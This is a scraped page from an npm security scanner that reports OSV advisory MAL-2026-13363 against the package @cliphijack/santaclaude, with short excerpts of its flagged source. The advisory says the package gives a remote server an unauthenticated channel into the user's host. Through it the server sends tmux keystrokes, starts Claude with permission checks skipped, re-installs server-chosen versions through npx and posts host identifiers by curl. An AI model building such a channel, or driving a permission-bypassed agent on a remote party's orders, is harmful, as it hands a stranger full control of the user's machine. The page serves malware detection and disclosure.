Loading npm security reports…

@cliphijack/santaclaude@1.0.100: Malicious npm security report | LPM Firewall

registry / @cliphijack/santaclaude / 1.0.100

@cliphijack/santaclaude@1.0.100

SantaClaude 커넥터 — 클라우드 예약을 내 로컬 Claude(tmux)에 발사

OSV Malicious Advisory

scanned 9d ago · by OpenSSF/OSV

OpenSSF/OSV advisory MAL-2026-13363 confirms this npm version as malicious. The `santaclaude` bin opens a persistent WebSocket connection to https://santaclaude.app and long-polls `/api/control/claim`. Messages received from the server are dispatched to `runControl(cmd)`, which invokes tmux `send-keys -l` (plus Enter) into arbitrary target windows on the user's host, spawns new tmux windows that run `claude --dangerously-skip-permissions` by default, and can kill or resize windows...

Advisory

MAL-2026-13363

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in @cliphijack/santaclaude (npm)

Details

The `santaclaude` bin opens a persistent WebSocket connection to https://santaclaude.app and long-polls `/api/control/claim`. Messages received from the server are dispatched to `runControl(cmd)`, which invokes tmux `send-keys -l` (plus Enter) into arbitrary target windows on the user's host, spawns new tmux windows that run `claude --dangerously-skip-permissions` by default, and can kill or resize windows. The result is that the remote endpoint can execute arbitrary shell keystrokes in the user's tmux sessions and drive an AI coding agent that has itself been configured to bypass tool-use confirmations, yielding full-host command execution. A second path (`checkUpdate()`) polls `/api/cli-version` and, when the server returns a `target` value, writes it to `~/.santaclaude-target`, exits with code 75, and causes the wrapper loop to re-exec `npx -y @cliphijack/santaclaude@<server-chosen-version>` — the version of the client that runs next is chosen by the remote server. Additional shell hooks (`hooks/sc-notify.sh`, `hooks/sc-stop.sh`) POST via curl to the same service with host identifiers. Whether or not the operator of santaclaude.app is the package author, the shipped design gives that endpoint an unauthenticated remote-control channel into the installer's shell and agent.

Decision reason

One or more suspicious static signals were detected.

References

Source & flagged code

5 flagged · loading source

bundled-superpowers/skills/brainstorming/scripts/server.cjsView file

536const url = companionUrl(); // must carry the key or the gate 403s it L537: const cp = require('child_process'); L538: // Operator-provided launcher: run as given (this env var is trusted operator input).

High

Child Process

Package source references child process execution.

bundled-superpowers/skills/brainstorming/scripts/server.cjsView on unpkg · L536

1const crypto = require('crypto'); L2: const http = require('http'); L3: const fs = require('fs'); ... L12: function computeAcceptKey(clientKey) { L13: return crypto.createHash('sha1').update(clientKey + WS_MAGIC).digest('base64'); L14: } ... L84: L85: const PORT_FILE = process.env.BRAINSTORM_PORT_FILE || null; L86: const randomPort = () => 49152 + Math.floor(Math.random() * 16383); ... L195: try { sessionStorage.setItem('brainstorm-session-key', ${jsonKey}); } catch (e) {} L196: location.replace('/'); L197: </script>

Low

Weak Crypto

Package source references weak cryptographic algorithms.

bundled-superpowers/skills/brainstorming/scripts/server.cjsView on unpkg · L1

santaclaude.jsView file

38* [당신 손으로 검증] L39: * - 외부 송신부 전체: 이 파일에서 fetch( 를 검색 → 목적지는 우리 워커(DEFAULT_API)와 L40: * api.notion.com(당신→당신 노션) 둘뿐. 제3자 없음. ... L46: */ L47: const { execFileSync } = require('child_process'); L48: const fs = require('fs'); ... L52: const VER = (() => { try { return require('./package.json').version; } catch (e) { return '0'; } })(); L53: const VIA_NPX = __dirname.includes('_npx') || __dirname.includes('npm-cache') || process.env.SC_AUTOUP === '1'; L54:

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

santaclaude.jsView on unpkg · L38

70const t0 = Date.now(); L71: const r = spawnSync('npx', ['-y', '@cliphijack/santaclaude@' + spec], { stdio: 'inherit', env: { ...process.env, SC_SUP: '1' } }); L72: const lived = Date.now() - t0;

High

Runtime Package Install

Package source invokes a package manager install command at runtime.

santaclaude.jsView on unpkg · L70

bundled-superpowers/skills/systematic-debugging/find-polluter.shView file

•path = bundled-superpowers/skills/systematic-debugging/find-polluter.sh kind = build_helper sizeBytes = 1528 magicHex = [redacted]

Medium

Ships Build Helper

Package ships non-JavaScript build or shell helper files.

bundled-superpowers/skills/systematic-debugging/find-polluter.shView on unpkg